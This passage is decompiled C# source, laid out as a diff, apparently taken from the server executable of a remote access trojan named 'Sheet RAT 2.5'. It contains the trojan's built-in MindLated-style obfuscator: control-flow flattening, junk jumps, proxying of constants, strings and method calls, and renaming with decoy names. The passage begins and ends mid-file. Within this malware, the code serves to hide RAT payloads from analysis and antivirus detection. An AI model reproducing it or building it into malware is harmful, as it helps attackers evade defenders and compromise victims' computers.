return typeof (Math).GetMethod("Tan", new Type[1]
{
typeof (double)
});
case ArithmeticTypes.Tanh:
return typeof (Math).GetMethod("Tanh", new Type[1]
{
typeof (double)
});
case ArithmeticTypes.Truncate:
return typeof (Math).GetMethod("Truncate", new Type[1]
{
typeof (double)
});
default:
return (MethodInfo) null;
}
}
public static OpCode GetOpCode(ArithmeticTypes arithmetic)
{
if (arithmetic == ArithmeticTypes.Add)
return OpCodes.Add;
return arithmetic == ArithmeticTypes.Sub ? OpCodes.Sub : (OpCode) null;
}
}
}
@@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Value
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
//#nullable disable
namespace MindLated.Protection.Arithmetic {
public class Value
{
private readonly double _x;
private readonly double _y;
public Value(double x, double y)
{
this._x = x;
this._y = y;
}
public double GetX() => this._x;
public double GetY() => this._y;
}
}
@@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.CtrlFlow.Block
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet.Emit;
using System.Collections.Generic;
//#nullable disable
namespace MindLated.Protection.CtrlFlow {
public class Block
{
public Block() => this.Instructions = new List<Instruction>();
public List<Instruction> Instructions { get; set; }
public int Number { get; set; }
public int SubRand { get; set; }
public int PlusRand { get; set; }
}
}
@@ -0,0 +1,54 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.CtrlFlow.BlockParser
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using System.Collections.Generic;
//#nullable disable
namespace MindLated.Protection.CtrlFlow {
public class BlockParser
{
public static List<Block> ParseMethod(MethodDef method)
{
List<Block> method1 = new List<Block>();
Block block1 = new Block();
int num1 = 0;
int num2 = 0;
block1.Number = num1;
block1.Instructions.Add(Instruction.Create(OpCodes.Nop));
method1.Add(block1);
Block block2 = new Block();
Stack<ExceptionHandler> exceptionHandlerStack = new Stack<ExceptionHandler>();
foreach (Instruction instruction in (IEnumerable<Instruction>) method.Body.Instructions)
{
foreach (ExceptionHandler exceptionHandler in (IEnumerable<ExceptionHandler>) method.Body.ExceptionHandlers)
{
if (exceptionHandler.HandlerStart == instruction || exceptionHandler.TryStart == instruction || exceptionHandler.FilterStart == instruction)
exceptionHandlerStack.Push(exceptionHandler);
}
foreach (ExceptionHandler exceptionHandler in (IEnumerable<ExceptionHandler>) method.Body.ExceptionHandlers)
{
if (exceptionHandler.HandlerEnd == instruction || exceptionHandler.TryEnd == instruction)
exceptionHandlerStack.Pop();
}
int pushes;
int pops;
instruction.CalculateStackUsage(out pushes, out pops);
block2.Instructions.Add(instruction);
num2 += pushes - pops;
if (pushes == 0 && instruction.OpCode != OpCodes.Nop && (num2 == 0 || instruction.OpCode == OpCodes.Ret) && exceptionHandlerStack.Count == 0)
{
block2.Number = ++num1;
method1.Add(block2);
block2 = new Block();
}
}
return method1;
}
}
}
@@ -0,0 +1,180 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.CtrlFlow.ControlFlowObfuscation
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Renamer;
using System;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Linq;
//#nullable disable
namespace MindLated.Protection.CtrlFlow {
internal class ControlFlowObfuscation
{
public static Random rnd = new Random();
public static void Execute(ModuleDefMD md)
{
foreach (TypeDef type in (IEnumerable<TypeDef>) md.Types)
{
if (type != md.GlobalType)
{
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
{
if (!method.Name.StartsWith("get_") && !method.Name.StartsWith("set_") && method.HasBody && !method.IsConstructor)
{
method.Body.SimplifyBranches();
ControlFlowObfuscation.ExecuteMethod(method);
}
}
}
}
}
public static Instruction StLoc(Local local)
{
switch (local.Index)
{
case 0:
return Instruction.Create(OpCodes.Stloc_0);
case 1:
return Instruction.Create(OpCodes.Stloc_1);
case 2:
return Instruction.Create(OpCodes.Stloc_2);
case 3:
return Instruction.Create(OpCodes.Stloc_3);
default:
return Instruction.Create(OpCodes.Stloc, local);
}
}
public static Instruction Ldloc(Local local)
{
switch (local.Index)
{
case 0:
return Instruction.Create(OpCodes.Ldloc_0);
case 1:
return Instruction.Create(OpCodes.Ldloc_1);
case 2:
return Instruction.Create(OpCodes.Ldloc_2);
case 3:
return Instruction.Create(OpCodes.Ldloc_3);
default:
return Instruction.Create(OpCodes.Ldloc, local);
}
}
public static TypeSig RandomSig(MethodDef method)
{
switch (ControlFlowObfuscation.rnd.Next(0, 3))
{
case 0:
return (TypeSig) method.Module.CorLibTypes.Int32;
case 1:
return (TypeSig) method.Module.CorLibTypes.Int64;
case 2:
return (TypeSig) method.Module.CorLibTypes.Double;
default:
return (TypeSig) method.Module.CorLibTypes.Int32;
}
}
public static void ExecuteMethod(MethodDef method)
{
method.Body.SimplifyMacros((IList<Parameter>) method.Parameters);
List<Block> blocks = BlockParser.ParseMethod(method);
int num1 = ControlFlowObfuscation.rnd.Next(1, 10);
int num2 = 0;
foreach (Block block in blocks)
{
block.SubRand = num1;
num1 = ControlFlowObfuscation.rnd.Next(num1 + 1, num1 + 10);
block.PlusRand = num1;
if (blocks.Count - 2 == block.Number)
num2 = num1;
}
blocks = ControlFlowObfuscation.Randomize(blocks);
method.Body.Instructions.Clear();
Local local = new Local(ControlFlowObfuscation.RandomSig(method));
method.Body.Variables.Add(local);
local.Name = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
Instruction target1 = Instruction.Create(OpCodes.Nop);
Instruction target2 = Instruction.Create(OpCodes.Br, target1);
int num3 = ControlFlowObfuscation.rnd.Next(0, 10000);
foreach (Instruction instruction in ControlFlowObfuscation.Calc(num3, local.Type))
method.Body.Instructions.Add(instruction);
method.Body.Instructions.Add(ControlFlowObfuscation.StLoc(local));
method.Body.Instructions.Add(Instruction.Create(OpCodes.Br, target2));
method.Body.Instructions.Add(target1);
foreach (Block block in blocks.Where<Block>((Func<Block, bool>) (block => block != blocks.Single<Block>((Func<Block, bool>) (x => x.Number == blocks.Count - 1)))))
{
method.Body.Instructions.Add(ControlFlowObfuscation.Ldloc(local));
if (block.Number == 0)
{
foreach (Instruction instruction in ControlFlowObfuscation.Calc(num3, local.Type))
method.Body.Instructions.Add(instruction);
}
else
{
foreach (Instruction instruction in ControlFlowObfuscation.Calc(block.SubRand + num3, local.Type))
method.Body.Instructions.Add(instruction);
}
method.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq));
Instruction target3 = Instruction.Create(OpCodes.Nop);
method.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse, target3));
foreach (Instruction instruction in block.Instructions)
method.Body.Instructions.Add(instruction);
foreach (Instruction instruction in ControlFlowObfuscation.Calc(block.PlusRand + num3, local.Type))
method.Body.Instructions.Add(instruction);
method.Body.Instructions.Add(ControlFlowObfuscation.StLoc(local));
method.Body.Instructions.Add(target3);
}
method.Body.Instructions.Add(ControlFlowObfuscation.Ldloc(local));
foreach (Instruction instruction in ControlFlowObfuscation.Calc(num2 + num3, local.Type))
method.Body.Instructions.Add(instruction);
method.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq));
method.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse, target2));
method.Body.Instructions.Add(Instruction.Create(OpCodes.Br, blocks.Single<Block>((Func<Block, bool>) (x => x.Number == blocks.Count - 1)).Instructions[0]));
method.Body.Instructions.Add(target2);
foreach (Instruction instruction in blocks.Single<Block>((Func<Block, bool>) (x => x.Number == blocks.Count - 1)).Instructions)
method.Body.Instructions.Add(instruction);
method.Body.InitLocals = true;
}
public static List<Block> Randomize(List<Block> input)
{
List<Block> blockList = new List<Block>();
foreach (Block block in input)
blockList.Insert(ControlFlowObfuscation.rnd.Next(0, blockList.Count), block);
return blockList;
}
public static List<Instruction> Calc(int value, TypeSig sig)
{
List<Instruction> instructionList;
if (sig == sig.Module.CorLibTypes.Double)
instructionList = new List<Instruction>()
{
Instruction.Create(OpCodes.Ldc_R8, (double) value)
};
else
instructionList = new List<Instruction>()
{
Instruction.Create(OpCodes.Ldc_I4, value)
};
return instructionList;
}
public void AddJump(IList<Instruction> instrs, Instruction target)
{
instrs.Add(Instruction.Create(OpCodes.Br, target));
}
}
}
@@ -0,0 +1,37 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.CtrlFlow.JumpCFlow
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Renamer;
using System.Collections.Generic;
using System.Linq;
//#nullable disable
namespace MindLated.Protection.CtrlFlow {
public static class JumpCFlow
{
public static void Execute(ModuleDefMD module)
{
foreach (TypeDef type in (IEnumerable<TypeDef>) module.Types)
{
foreach (MethodDef methodDef in type.Methods.ToArray<MethodDef>())
{
if (methodDef.HasBody && methodDef.Body.HasInstructions && !methodDef.Body.HasExceptionHandlers)
{
for (int index = 0; index < methodDef.Body.Instructions.Count - 2; index = index + 2 + 1)
{
Instruction instruction = methodDef.Body.Instructions[index + 1];
methodDef.Body.Instructions.Insert(index + 1, Instruction.Create(OpCodes.Ldstr, RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii)));
methodDef.Body.Instructions.Insert(index + 1, Instruction.Create(OpCodes.Br_S, instruction));
}
}
}
}
}
}
}
@@ -0,0 +1,16 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Proxy.EnumerableExtensions
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using System.Collections.Generic;
//#nullable disable
namespace MindLated.Protection.Proxy {
public static class EnumerableExtensions
{
public static T Random<T>(this IEnumerable<T> input) => EnumerableHelper.Random<T>(input);
}
}
@@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Proxy.EnumerableHelper
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using System.Collections.Generic;
using System.Linq;
//#nullable disable
namespace MindLated.Protection.Proxy {
public static class EnumerableHelper
{
private static readonly System.Random R = new System.Random();
public static TE Random<TE>(IEnumerable<TE> input)
{
if (!(input is TE[] eArray))
eArray = input.ToArray<TE>();
TE[] source = eArray;
return ((IEnumerable<TE>) source).ElementAt<TE>(EnumerableHelper.R.Next(source.Length));
}
}
}
@@ -0,0 +1,63 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Proxy.ProxyInt
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Renamer;
using System.Collections.Generic;
//#nullable disable
namespace MindLated.Protection.Proxy {
public static class ProxyInt
{
public static void Execute(ModuleDef module)
{
foreach (TypeDef type in module.GetTypes())
{
if (!type.IsGlobalModuleType)
{
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
{
if (method.HasBody)
{
IList<Instruction> instructions = method.Body.Instructions;
for (int index = 0; index < instructions.Count; ++index)
{
if (method.Body.Instructions[index].IsLdcI4())
{
MethodImplAttributes implFlags = MethodImplAttributes.IL;
MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
MethodDefUser methodDefUser = new MethodDefUser((UTF8String) RenamerPhase.GenerateString(RenamerPhase.RenameMode.Key), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.Int32), implFlags, flags);
module.GlobalType.Methods.Add((MethodDef) methodDefUser);
methodDefUser.Body = new CilBody();
methodDefUser.Body.Variables.Add(new Local((TypeSig) module.CorLibTypes.Int32));
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4, instructions[index].GetLdcI4Value()));
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
instructions[index].OpCode = OpCodes.Call;
instructions[index].Operand = (object) methodDefUser;
}
else if (method.Body.Instructions[index].OpCode == OpCodes.Ldc_R4)
{
MethodImplAttributes implFlags = MethodImplAttributes.IL;
MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
MethodDefUser methodDefUser = new MethodDefUser((UTF8String) RenamerPhase.GenerateString(RenamerPhase.RenameMode.Key), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.Double), implFlags, flags);
module.GlobalType.Methods.Add((MethodDef) methodDefUser);
methodDefUser.Body = new CilBody();
methodDefUser.Body.Variables.Add(new Local((TypeSig) module.CorLibTypes.Double));
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_R4, (float) method.Body.Instructions[index].Operand));
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
instructions[index].OpCode = OpCodes.Call;
instructions[index].Operand = (object) methodDefUser;
}
}
}
}
}
}
}
}
}
@@ -0,0 +1,152 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Proxy.ProxyMeth
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using System;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Linq;
//#nullable disable
namespace MindLated.Protection.Proxy {
public static class ProxyMeth
{
public static Random rand = new Random();
public static List<MemberRef> MemberRefList = new List<MemberRef>();
public static void ScanMemberRef(ModuleDef module)
{
foreach (TypeDef type in (IEnumerable<TypeDef>) module.Types)
{
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
{
if (method.HasBody && method.Body.HasInstructions)
{
for (int index = 0; index < method.Body.Instructions.Count - 1; ++index)
{
if (method.Body.Instructions[index].OpCode == OpCodes.Call)
{
try
{
MemberRef operand = (MemberRef) method.Body.Instructions[index].Operand;
if (!operand.HasThis)
ProxyMeth.MemberRefList.Add(operand);
}
catch
{
}
}
}
}
}
}
}
public static MethodDef GenerateSwitch(MemberRef original, ModuleDef md)
{
try
{
List<TypeSig> list = original.MethodSig.Params.ToList<TypeSig>();
list.Add((TypeSig) md.CorLibTypes.Int32);
MethodImplAttributes implFlags = MethodImplAttributes.IL;
MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
MethodDefUser methodDefUser = new MethodDefUser((UTF8String) string.Format("ProxyMeth{0}", ProxyMeth.rand.Next(0, int.MaxValue)), MethodSig.CreateStatic(original.MethodSig.RetType, list.ToArray()), implFlags, flags);
methodDefUser.Body = new CilBody();
MethodDef methodDef = (MethodDef) methodDefUser;
methodDef.Body.Variables.Add(new Local((TypeSig) md.CorLibTypes.Int32));
methodDef.Body.Variables.Add(new Local((TypeSig) md.CorLibTypes.Int32));
methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldarg_0));
List<Instruction> instructionList = new List<Instruction>();
Instruction instruction1 = new Instruction(OpCodes.Switch);
methodDef.Body.Instructions.Add(instruction1);
Instruction instruction2 = new Instruction(OpCodes.Br_S);
methodDef.Body.Instructions.Add(instruction2);
for (int index1 = 0; index1 < 5; ++index1)
{
for (int index2 = 0; index2 <= original.MethodSig.Params.Count - 1; ++index2)
{
methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldarg, methodDef.Parameters[index2]));
if (index2 == 0)
instructionList.Add(Instruction.Create(OpCodes.Ldarg, methodDef.Parameters[index2]));
}
Instruction instruction3 = Instruction.Create(OpCodes.Ldc_I4, index1);
methodDef.Body.Instructions.Add(instruction3);
methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
}
Instruction instruction4 = Instruction.Create(OpCodes.Ldnull);
methodDef.Body.Instructions.Add(instruction4);
methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
instruction2.Operand = (object) instruction4;
instruction1.Operand = (object) instructionList;
return methodDef;
}
catch
{
return (MethodDef) null;
}
}
public static void Execute(ModuleDef module)
{
ProxyMeth.ScanMemberRef(module);
foreach (TypeDef type in module.GetTypes())
{
if (!type.IsGlobalModuleType)
{
foreach (MethodDef methodDef1 in type.Methods.ToArray<MethodDef>())
{
if (methodDef1.HasBody && !methodDef1.Name.Contains(nameof (ProxyMeth)))
{
IList<Instruction> instructions = methodDef1.Body.Instructions;
for (int index1 = 0; index1 < instructions.Count; ++index1)
{
if (methodDef1.Body.Instructions[index1].OpCode == OpCodes.Call)
{
try
{
MemberRef original = (MemberRef) methodDef1.Body.Instructions[index1].Operand;
if (!original.HasThis)
{
MethodDef methodDef2 = ProxyMeth.GenerateSwitch(original, module);
methodDef1.DeclaringType.Methods.Add(methodDef2);
instructions[index1].OpCode = OpCodes.Call;
instructions[index1].Operand = (object) methodDef2;
int num = ProxyMeth.rand.Next(0, 5);
for (int index2 = 0; index2 < methodDef2.Body.Instructions.Count - 1; ++index2)
{
if (methodDef2.Body.Instructions[index2].OpCode == OpCodes.Ldc_I4)
{
if (string.Compare(methodDef2.Body.Instructions[index2].Operand.ToString(), num.ToString(), StringComparison.Ordinal) != 0)
{
methodDef2.Body.Instructions[index2].OpCode = OpCodes.Call;
methodDef2.Body.Instructions[index2].Operand = (object) ProxyMeth.MemberRefList.Where<MemberRef>((Func<MemberRef, bool>) (m => m.MethodSig.Params.Count == original.MethodSig.Params.Count)).ToList<MemberRef>().Random<MemberRef>();
}
else
{
methodDef2.Body.Instructions[index2].OpCode = OpCodes.Call;
methodDef2.Body.Instructions[index2].Operand = (object) original;
}
}
}
methodDef1.Body.Instructions.Insert(index1, Instruction.CreateLdcI4(num));
}
}
catch
{
}
}
}
}
}
}
}
}
}
}
@@ -0,0 +1,49 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Proxy.ProxyString
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Renamer;
using System.Collections.Generic;
//#nullable disable
namespace MindLated.Protection.Proxy {
internal class ProxyString
{
public static void Execute(ModuleDef module)
{
foreach (TypeDef type in module.GetTypes())
{
if (!type.IsGlobalModuleType)
{
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
{
if (method.HasBody)
{
foreach (Instruction instruction in (IEnumerable<Instruction>) method.Body.Instructions)
{
if (instruction.OpCode == OpCodes.Ldstr)
{
MethodImplAttributes implFlags = MethodImplAttributes.IL;
MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
MethodDefUser methodDefUser = new MethodDefUser((UTF8String) RenamerPhase.GenerateString(RenamerPhase.RenameMode.Key), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.String), implFlags, flags);
module.GlobalType.Methods.Add((MethodDef) methodDefUser);
methodDefUser.Body = new CilBody();
methodDefUser.Body.Variables.Add(new Local((TypeSig) module.CorLibTypes.String));
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ldstr, instruction.Operand.ToString()));
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
instruction.OpCode = OpCodes.Call;
instruction.Operand = (object) methodDefUser;
}
}
}
}
}
}
}
}
}
@@ -0,0 +1,405 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Renamer.RenamerPhase
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using System;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Linq;
//#nullable disable
namespace MindLated.Protection.Renamer {
public class RenamerPhase
{
private static readonly Dictionary<TypeDef, bool> TypeRename = new Dictionary<TypeDef, bool>();
private static readonly List<string> TypeNewName = new List<string>();
private static readonly Dictionary<MethodDef, bool> MethodRename = new Dictionary<MethodDef, bool>();
private static readonly List<string> MethodNewName = new List<string>();
private static readonly Dictionary<FieldDef, bool> FieldRename = new Dictionary<FieldDef, bool>();
private static readonly List<string> FieldNewName = new List<string>();
private static readonly bool IsObfuscationActive = true;
private static readonly Random Random = new Random();
private static readonly string[] NormalNameStrings = new string[257]
{
"HasPermission",
"HasPermissions",
"GetPermissions",
"GetOpenWindows",
"EnumWindows",
"GetWindowText",
"GetWindowTextLength",
"IsWindowVisible",
"GetShellWindow",
"Awake",
"FixedUpdate",
"add_OnRockedInitialized",
"remove_OnRockedInitialized",
"Awake",
"Initialize",
"Translate",
"Reload",
"<Initialize>b__13_0",
"Initialize",
"FixedUpdate",
"Start",
"checkTimerRestart",
"QueueOnMainThread",
"QueueOnMainThread",
"RunAsync",
"RunAction",
"Awake",
"FixedUpdate",
"IsUri",
"GetTypes",
"GetTypesFromParentClass",
"GetTypesFromParentClass",
"GetTypesFromInterface",
"GetTypesFromInterface",
"get_Timeout",
"set_Timeout",
"GetWebRequest",
"get_SteamID64",
"set_SteamID64",
"get_SteamID",
"set_SteamID",
"get_OnlineState",
"set_OnlineState",
"get_StateMessage",
"set_StateMessage",
"get_PrivacyState",
"set_PrivacyState",
"get_VisibilityState",
"set_VisibilityState",
"get_AvatarIcon",
"set_AvatarIcon",
"get_AvatarMedium",
"set_AvatarMedium",
"get_AvatarFull",
"set_AvatarFull",
"get_IsVacBanned",
"set_IsVacBanned",
"get_TradeBanState",
"set_TradeBanState",
"get_IsLimitedAccount",
"set_IsLimitedAccount",
"get_CustomURL",
"set_CustomURL",
"get_MemberSince",
"set_MemberSince",
"get_HoursPlayedLastTwoWeeks",
"set_HoursPlayedLastTwoWeeks",
"get_Headline",
"set_Headline",
"get_Location",
"set_Location",
"get_RealName",
"set_RealName",
"get_Summary",
"set_Summary",
"get_MostPlayedGames",
"set_MostPlayedGames",
"get_Groups",
"set_Groups",
"Reload",
"ParseString",
"ParseDateTime",
"ParseDouble",
"ParseUInt16",
"ParseUInt32",
"ParseUInt64",
"ParseBool",
"ParseUri",
"IsValidCSteamID",
"LoadDefaults",
"LoadDefaults",
"get_Clients",
"Awake",
"handleConnection",
"FixedUpdate",
"Broadcast",
"OnDestroy",
"Read",
"Send",
"<Awake>b__8_0",
"get_InstanceID",
"set_InstanceID",
"get_ConnectedTime",
"set_ConnectedTime",
"Send",
"Read",
"Close",
"get_Address",
"get_Instance",
"set_Instance",
"Save",
"Load",
"Unload",
"Load",
"Save",
"Load",
"get_Configuration",
"LoadPlugin",
"<.ctor>b__3_0",
"<LoadPlugin>b__4_0",
"add_OnPluginUnloading",
"remove_OnPluginUnloading",
"add_OnPluginLoading",
"remove_OnPluginLoading",
"get_Translations",
"get_State",
"get_Assembly",
"set_Assembly",
"get_Directory",
"set_Directory",
"get_Name",
"set_Name",
"get_DefaultTranslations",
"IsDependencyLoaded",
"ExecuteDependencyCode",
"Translate",
"ReloadPlugin",
"LoadPlugin",
"UnloadPlugin",
"OnEnable",
"OnDisable",
"Load",
"Unload",
"TryAddComponent",
"TryRemoveComponent",
"add_OnPluginsLoaded",
"remove_OnPluginsLoaded",
"get_Plugins",
"GetPlugins",
"GetPlugin",
"GetPlugin",
"Awake",
"Start",
"GetMainTypeFromAssembly",
"loadPlugins",
"unloadPlugins",
"Reload",
"GetAssembliesFromDirectory",
"LoadAssembliesFromDirectory",
"<Awake>b__12_0",
"GetGroupsByIds",
"GetParentGroups",
"HasPermission",
"GetGroup",
"RemovePlayerFromGroup",
"AddPlayerToGroup",
"DeleteGroup",
"SaveGroup",
"AddGroup",
"GetGroups",
"GetPermissions",
"GetPermissions",
"<GetGroups>b__11_3",
"Start",
"FixedUpdate",
"Reload",
"HasPermission",
"GetGroups",
"GetPermissions",
"GetPermissions",
"AddPlayerToGroup",
"RemovePlayerFromGroup",
"GetGroup",
"SaveGroup",
"AddGroup",
"DeleteGroup",
"DeleteGroup",
"<FixedUpdate>b__4_0",
"Enqueue",
"_Logger_DoWork",
"processLog",
"Log",
"Log",
"var_dump",
"LogWarning",
"LogError",
"LogError",
"Log",
"LogException",
"ProcessInternalLog",
"logRCON",
"writeToConsole",
"ProcessLog",
"ExternalLog",
"Invoke",
"_invoke",
"TryInvoke",
"get_Aliases",
"get_AllowedCaller",
"get_Help",
"get_Name",
"get_Permissions",
"get_Syntax",
"Execute",
"get_Aliases",
"get_AllowedCaller",
"get_Help",
"get_Name",
"get_Permissions",
"get_Syntax",
"Execute",
"get_Aliases",
"get_AllowedCaller",
"get_Help",
"get_Name",
"get_Permissions",
"get_Syntax",
"Execute",
"get_Name",
"set_Name",
"get_Name",
"set_Name",
"get_Name",
"get_Help",
"get_Syntax",
"get_AllowedCaller",
"get_Commands",
"set_Commands",
"add_OnExecuteCommand",
"remove_OnExecuteCommand",
"Reload",
"Awake",
"checkCommandMappings",
"checkDuplicateCommandMappings",
"Plugins_OnPluginsLoaded",
"GetCommand",
"GetCommand",
"getCommandIdentity",
"getCommandType",
"Register",
"Register",
"Register",
"DeregisterFromAssembly",
"GetCooldown",
"SetCooldown",
"Execute",
"RegisterFromAssembly"
};
private const string Ascii = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
private const string number = "1234567890";
public static void Execute(ModuleDefMD module, RenamerPhase.RenameMode renameMode)
{
if (RenamerPhase.IsObfuscationActive)
{
string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
foreach (TypeDef type in (IEnumerable<TypeDef>) module.Types)
{
if (new Random().Next(0, 4) == 1)
str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
bool flag1;
if (RenamerPhase.TypeRename.TryGetValue(type, out flag1))
{
if (flag1)
RenamerPhase.InternalRename(type);
}
else
RenamerPhase.InternalRename(type);
type.Namespace = (UTF8String) str;
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
{
bool flag2;
if (RenamerPhase.MethodRename.TryGetValue(method, out flag2))
{
if (flag2 && !method.IsConstructor && !method.IsSpecialName)
RenamerPhase.InternalRename(method);
}
else if (!method.IsConstructor && !method.IsSpecialName)
RenamerPhase.InternalRename(method);
}
RenamerPhase.MethodNewName.Clear();
foreach (FieldDef field in (IEnumerable<FieldDef>) type.Fields)
{
bool flag3;
if (RenamerPhase.FieldRename.TryGetValue(field, out flag3))
{
if (flag3)
RenamerPhase.InternalRename(field);
}
else
RenamerPhase.InternalRename(field);
}
RenamerPhase.FieldNewName.Clear();
}
}
else
{
foreach (KeyValuePair<TypeDef, bool> keyValuePair in RenamerPhase.TypeRename.Where<KeyValuePair<TypeDef, bool>>((Func<KeyValuePair<TypeDef, bool>, bool>) (typeItem => typeItem.Value)))
RenamerPhase.InternalRename(keyValuePair.Key);
foreach (KeyValuePair<MethodDef, bool> keyValuePair in RenamerPhase.MethodRename.Where<KeyValuePair<MethodDef, bool>>((Func<KeyValuePair<MethodDef, bool>, bool>) (methodItem => methodItem.Value)))
RenamerPhase.InternalRename(keyValuePair.Key);
foreach (KeyValuePair<FieldDef, bool> keyValuePair in RenamerPhase.FieldRename.Where<KeyValuePair<FieldDef, bool>>((Func<KeyValuePair<FieldDef, bool>, bool>) (fieldItem => fieldItem.Value)))
RenamerPhase.InternalRename(keyValuePair.Key);
}
}
private static void InternalRename(TypeDef type)
{
string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
while (RenamerPhase.TypeNewName.Contains(str))
str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
RenamerPhase.TypeNewName.Add(str);
type.Name = (UTF8String) str;
}
private static void InternalRename(MethodDef method)
{
string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
while (RenamerPhase.MethodNewName.Contains(str))
str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
RenamerPhase.MethodNewName.Add(str);
method.Name = (UTF8String) str;
}
private static void InternalRename(FieldDef field)
{
string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
while (RenamerPhase.FieldNewName.Contains(str))
str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
RenamerPhase.FieldNewName.Add(str);
field.Name = (UTF8String) str;
}
private static string RandomString(int length)
{
